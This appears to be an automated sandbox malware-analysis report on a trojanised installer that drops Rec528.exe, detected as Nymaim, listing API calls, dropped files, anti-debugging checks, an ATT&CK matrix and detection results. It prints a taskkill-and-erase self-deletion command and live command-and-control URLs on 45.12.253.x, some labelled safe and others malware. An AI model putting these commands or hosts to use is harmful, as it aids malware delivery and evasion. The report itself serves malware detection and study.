Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: 1_2_0040578B push 00405899h; ret	1_2_00405891
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: 1_2_00479B20 push ecx; mov dword ptr [esp], ecx	1_2_00479B25
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: 1_2_00419CF0 push ecx; mov dword ptr [esp], ecx	1_2_00419CF5
Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe	Code function: 2_2_004311AD push esi; ret	2_2_004311B6
Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe	Code function: 2_2_0040F43A push ecx; ret	2_2_0040F44D
Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe	Code function: 2_2_1000E823 push ecx; ret	2_2_1000E836

Source: Rec528.exe.1.dr

Static PE information: section name: .fls528

Source: initial sample

Static PE information: section name: .text entropy: 7.436915831767785

Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	File created: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	File created: C:\Users\user\AppData\Local\Temp\is-5SERN.tmp\_iscrypt.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1ibwQtrqNy.exe	File created: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	File created: C:\Program Files (x86)\FLSCover\Rec528\is-Q8OGG.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	File created: C:\Program Files (x86)\FLSCover\Rec528\is-U3J98.tmp	Jump to dropped file
Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe	File created: C:\Users\user\AppData\Roaming\{e6e9dfa8-98f2-11e9-90ce-806e6f6e6963}\IFLIjCfKSqd.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	File created: C:\Users\user\AppData\Local\Temp\is-5SERN.tmp\_isetup\_shfoldr.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	File created: C:\Users\user\AppData\Local\Temp\is-5SERN.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	File created: C:\Program Files (x86)\FLSCover\Rec528\Preview.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	File created: C:\Program Files (x86)\FLSCover\Rec528\unins000.exe (copy)	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: 1_2_00423CD4 IsIconic,PostMessageA,PostMessageA,PostMessageA,SendMessageA,IsWindowEnabled,IsWindowEnabled,IsWindowVisible,GetFocus,SetFocus,SetFocus,IsIconic,GetFocus,SetFocus,	1_2_00423CD4
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: 1_2_00423CD4 IsIconic,PostMessageA,PostMessageA,PostMessageA,SendMessageA,IsWindowEnabled,IsWindowEnabled,IsWindowVisible,GetFocus,SetFocus,SetFocus,IsIconic,GetFocus,SetFocus,	1_2_00423CD4
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: 1_2_00478118 IsIconic,GetWindowLongA,ShowWindow,ShowWindow,	1_2_00478118
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: 1_2_0042425C IsIconic,SetActiveWindow,	1_2_0042425C
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: 1_2_004242A4 IsIconic,SetActiveWindow,SetFocus,	1_2_004242A4
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: 1_2_0041844C IsIconic,GetWindowPlacement,GetWindowRect,GetWindowLongA,GetWindowLongA,ScreenToClient,ScreenToClient,	1_2_0041844C
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: 1_2_00422924 SendMessageA,ShowWindow,ShowWindow,CallWindowProcA,SendMessageA,ShowWindow,SetWindowPos,GetActiveWindow,IsIconic,SetWindowPos,SetActiveWindow,ShowWindow,	1_2_00422924
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: 1_2_00417660 IsIconic,GetCapture,	1_2_00417660
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: 1_2_00417D96 IsIconic,SetWindowPos,	1_2_00417D96
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: 1_2_00417D98 IsIconic,SetWindowPos,GetWindowPlacement,SetWindowPlacement,	1_2_00417D98

Source: C:\Users\user\Desktop\1ibwQtrqNy.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1ibwQtrqNy.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1ibwQtrqNy.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1ibwQtrqNy.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1ibwQtrqNy.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe TID: 1556

Thread sleep count: 34 > 30

Jump to behavior

Source: C:\Users\user\Desktop\1ibwQtrqNy.exe

Evasive API call chain: GetSystemTime,DecisionNodes

graph_0-5522

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\FLSCover\Rec528\is-Q8OGG.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\FLSCover\Rec528\is-U3J98.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-5SERN.tmp\_isetup\_shfoldr.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-5SERN.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\FLSCover\Rec528\Preview.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\FLSCover\Rec528\unins000.exe (copy)	Jump to dropped file

Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_2-35562

Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe

Code function: __Init_thread_footer,GetUserNameA,GetUserNameA,__Init_thread_footer,GetUserNameA,__Init_thread_footer,GetUserNameA,GetForegroundWindow,GetWindowTextA,Sleep,Sleep,GetForegroundWindow,GetWindowTextA,

2_2_004056A0

Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\1ibwQtrqNy.exe

Code function: 0_2_00409764 GetSystemInfo,VirtualQuery,VirtualProtect,VirtualProtect,VirtualQuery,

0_2_00409764

Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: 1_2_0046CA68 FindFirstFileA,FindNextFileA,FindClose,	1_2_0046CA68
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: 1_2_00474A14 FindFirstFileA,FindNextFileA,FindClose,FindFirstFileA,FindNextFileA,FindClose,	1_2_00474A14
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: 1_2_0045157C FindFirstFileA,GetLastError,	1_2_0045157C
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: 1_2_0045E244 SetErrorMode,FindFirstFileA,FindNextFileA,FindClose,SetErrorMode,	1_2_0045E244
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: 1_2_0048AC5C FindFirstFileA,6C8D69D0,FindNextFileA,FindClose,	1_2_0048AC5C
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: 1_2_00472CD4 FindFirstFileA,FindNextFileA,FindClose,FindFirstFileA,FindNextFileA,FindClose,	1_2_00472CD4
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: 1_2_0045CDA4 FindFirstFileA,FindNextFileA,FindClose,	1_2_0045CDA4
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: 1_2_0045DEB0 SetErrorMode,FindFirstFileA,FindNextFileA,FindClose,SetErrorMode,	1_2_0045DEB0
Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe	Code function: 2_2_00404490 FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,LdrInitializeThunk,__Init_thread_footer,LdrInitializeThunk,LdrInitializeThunk,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,	2_2_00404490
Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe	Code function: 2_2_00423DAD LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,FindFirstFileExW,	2_2_00423DAD
Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe	Code function: 2_2_10007E39 LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,FindFirstFileExW,	2_2_10007E39

Source: C:\Users\user\Desktop\1ibwQtrqNy.exe	File opened: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\	Jump to behavior
Source: C:\Users\user\Desktop\1ibwQtrqNy.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Users\user\Desktop\1ibwQtrqNy.exe	File opened: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Jump to behavior
Source: C:\Users\user\Desktop\1ibwQtrqNy.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Users\user\Desktop\1ibwQtrqNy.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Users\user\Desktop\1ibwQtrqNy.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior

Source: Rec528.exe, 00000002.00000003.430338328.0000000001749000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000002.443117659.0000000001749000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW!`M
Source: Rec528.exe, 00000002.00000003.430338328.0000000001749000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000002.443117659.0000000001749000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000002.443117659.0000000001700000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe

Code function: 2_2_004132EB IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

2_2_004132EB

Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe

Code function: 2_2_00402C00 VirtualProtect,GetLastError,FormatMessageA,LocalAlloc,OutputDebugStringA,LocalFree,LocalFree,LocalFree,

2_2_00402C00

Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe

Code function: 2_2_00402F20 SetLastError,SetLastError,SetLastError,GetNativeSystemInfo,VirtualAlloc,VirtualAlloc,VirtualAlloc,GetProcessHeap,HeapAlloc,VirtualFree,SetLastError,VirtualAlloc,LdrInitializeThunk,LdrInitializeThunk,

2_2_00402F20

Source: C:\Windows\SysWOW64\taskkill.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe	Code function: 2_2_0044028F mov eax, dword ptr fs:[00000030h]	2_2_0044028F
Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe	Code function: 2_2_0042039F mov eax, dword ptr fs:[00000030h]	2_2_0042039F
Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe	Code function: 2_2_004429E7 mov eax, dword ptr fs:[00000030h]	2_2_004429E7
Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe	Code function: 2_2_00417B2F mov eax, dword ptr fs:[00000030h]	2_2_00417B2F
Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe	Code function: 2_2_10007A06 mov eax, dword ptr fs:[00000030h]	2_2_10007A06
Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe	Code function: 2_2_10005EB5 mov eax, dword ptr fs:[00000030h]	2_2_10005EB5

Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe

Code function: 2_2_0040F2B4 LdrInitializeThunk,___scrt_release_startup_lock,___scrt_is_nonwritable_in_current_image,___scrt_is_nonwritable_in_current_image,LdrInitializeThunk,___scrt_uninitialize_crt,

2_2_0040F2B4

Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe	Code function: 2_2_0040F709 SetUnhandledExceptionFilter,	2_2_0040F709
Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe	Code function: 2_2_004132EB IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_004132EB
Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe	Code function: 2_2_0040F575 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_0040F575
Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe	Code function: 2_2_0040EB52 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_0040EB52
Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe	Code function: 2_2_10005630 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_10005630
Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe	Code function: 2_2_10002A85 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_10002A85
Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe	Code function: 2_2_10002F80 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_10002F80

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /im "Rec528.exe" /f

Jump to behavior

Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c taskkill /im "Rec528.exe" /f & erase "C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe" & exit			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /im "Rec528.exe" /f			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp

Code function: 1_2_00459734 GetVersion,GetModuleHandleA,6C8D5550,6C8D5550,6C8D5550,AllocateAndInitializeSid,LocalFree,

1_2_00459734

Source: Rec528.exe, 00000002.00000002.443674788.000000000342F000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: F.program managerBb
Source: Rec528.exe, 00000002.00000002.443674788.000000000342F000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: Rec528.exe, 00000002.00000002.443674788.000000000342F000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: program manager

Source: C:\Users\user\Desktop\1ibwQtrqNy.exe	Code function: GetLocaleInfoA,	0_2_004051D8
Source: C:\Users\user\Desktop\1ibwQtrqNy.exe	Code function: GetLocaleInfoA,	0_2_00405224
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: GetLocaleInfoA,	1_2_004085FC
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: GetLocaleInfoA,	1_2_00408648
Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe	Code function: GetKeyboardLayoutList,GetLocaleInfoA,__Init_thread_footer,	2_2_00404D40
Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe	Code function: LdrInitializeThunk,EnumSystemLocalesW,	2_2_0042700C
Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe	Code function: LdrInitializeThunk,EnumSystemLocalesW,	2_2_004270A7
Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,LdrInitializeThunk,	2_2_00427132
Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe	Code function: LdrInitializeThunk,EnumSystemLocalesW,	2_2_0041E27F
Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe	Code function: GetLocaleInfoW,LdrInitializeThunk,	2_2_00427385
Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	2_2_004274AB
Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe	Code function: GetLocaleInfoW,	2_2_004275B1
Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe	Code function: GetUserDefaultLCID,IsValidCodePage,LdrInitializeThunk,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	2_2_00427680
Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe	Code function: GetLocaleInfoW,	2_2_0041E7A1
Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe	Code function: GetACP,IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	2_2_00426D1F
Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe	Code function: LdrInitializeThunk,EnumSystemLocalesW,	2_2_00426FC1

Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe

Code function: 2_2_0040F773 cpuid

2_2_0040F773

Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp

Code function: 1_2_00455E7C GetTickCount,QueryPerformanceCounter,GetSystemTimeAsFileTime,GetCurrentProcessId,CreateNamedPipeA,GetLastError,6C8D5CA0,SetNamedPipeHandleState,6CBC7180,CloseHandle,CloseHandle,

1_2_00455E7C

Source: C:\Users\user\Desktop\1ibwQtrqNy.exe

Code function: 0_2_004026C4 GetSystemTime,

0_2_004026C4

Source: C:\Users\user\Desktop\1ibwQtrqNy.exe

Code function: 0_2_00405CC0 GetVersionExA,

0_2_00405CC0

Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp

Code function: 1_2_00453D18 GetUserNameA,

1_2_00453D18

Stealing of Sensitive Information

Yara detected Nymaim

Source: Yara match	File source: 2.2.Rec528.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Rec528.exe.3260000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Rec528.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Rec528.exe.3260000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.443567321.0000000003260000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Windows Management Instrumentation	Path Interception	1 Access Token Manipulation	1 Disable or Modify Tools	1 Input Capture	1 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	2 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	2 Native API	Boot or Logon Initialization Scripts	13 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	1 Input Capture	Exfiltration Over Bluetooth	2 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	2 Command and Scripting Interpreter	Logon Script (Windows)	Logon Script (Windows)	3 Obfuscated Files or Information	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	1 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	22 Software Packing	NTDS	26 System Information Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	11 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	2 Masquerading	LSA Secrets	141 Security Software Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	1 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	1 Access Token Manipulation	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	13 Process Injection	Proc Filesystem	11 Application Window Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Masquerading	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
1ibwQtrqNy.exe	20%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label
C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe	100%	Avira	HEUR/AGEN.1314978
C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\FLSCover\Rec528\Preview.exe (copy)	0%	ReversingLabs
C:\Program Files (x86)\FLSCover\Rec528\is-Q8OGG.tmp	0%	ReversingLabs
C:\Program Files (x86)\FLSCover\Rec528\is-U3J98.tmp	3%	ReversingLabs
C:\Program Files (x86)\FLSCover\Rec528\unins000.exe (copy)	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-5SERN.tmp\_iscrypt.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-5SERN.tmp\_isetup\_setup64.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-5SERN.tmp\_isetup\_shfoldr.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\{e6e9dfa8-98f2-11e9-90ce-806e6f6e6963}\IFLIjCfKSqd.exe	62%	ReversingLabs	Win32.Trojan.GenusAgent

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://www.innosetup.com/	0%	URL Reputation	safe
http://45.12.253.72/default/stuk.php	0%	URL Reputation	safe
http://www.finalrecovery.com/buy.htm	0%	URL Reputation	safe
http://www.remobjects.com/?ps	0%	URL Reputation	safe
http://45.12.253.56/advertisting/plus.php?s=NOSUB&str=mixtwo&substr=mixinte	0%	URL Reputation	safe
http://45.12.253.72/default/puk.php	0%	URL Reputation	safe
http://45.12.253.75/dll.php	0%	URL Reputation	safe
http://www.innosetup.com	0%	URL Reputation	safe
http://www.remobjects.com/?psU	0%	URL Reputation	safe
http://45.12.253.75/dll.phpi	100%	Avira URL Cloud	malware
http://45.12.253.56/advertisting/plus.php?s=NOSUB&str=mixtwo&substr=mixintej	100%	Avira URL Cloud	malware
http://45.12.253.75/dll.phph	100%	Avira URL Cloud	malware
http://45.12.253.75/dll.phpd	100%	Avira URL Cloud	malware
http://45.12.253.75/dll.php%	100%	Avira URL Cloud	malware
http://45.12.253.72/del.php	100%	Avira URL Cloud	malware
http://45.12.253.75/dll.phpQ	100%	Avira URL Cloud	malware
http://45.12.253.75/dll.phpP	100%	Avira URL Cloud	malware
